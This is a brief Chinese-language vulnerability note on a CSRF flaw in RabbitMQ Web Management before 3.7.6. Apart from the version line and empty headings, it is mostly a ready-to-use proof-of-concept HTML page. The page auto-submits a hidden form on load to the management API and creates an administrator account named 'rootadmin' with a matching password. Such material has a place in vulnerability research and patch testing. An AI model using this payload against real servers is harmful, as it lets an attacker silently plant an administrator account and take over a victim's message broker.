

RabbitMQ Web 管理 csrf 漏洞

一、漏洞简介

二、漏洞影响

RabbitMQ Web Management < 3.7.6

三、复现过程

```
<html>
<h2>Add RabbitMQ Admin</h2>
<body>
<form name="rabbit" id="rabbit" action="https://www.0-sec.org/api/users
/rootadmin" method="POST">
<input type="hidden" name="username" value="rootadmin" />
<input type="hidden" name="password" value="rootadmin" />
<input type="hidden" name="tags" value="administrator" />
<input type="submit" value="save" />
</form>
<script>
  window.onload = rabbit.submit()
</script>
</body>
</html>
```
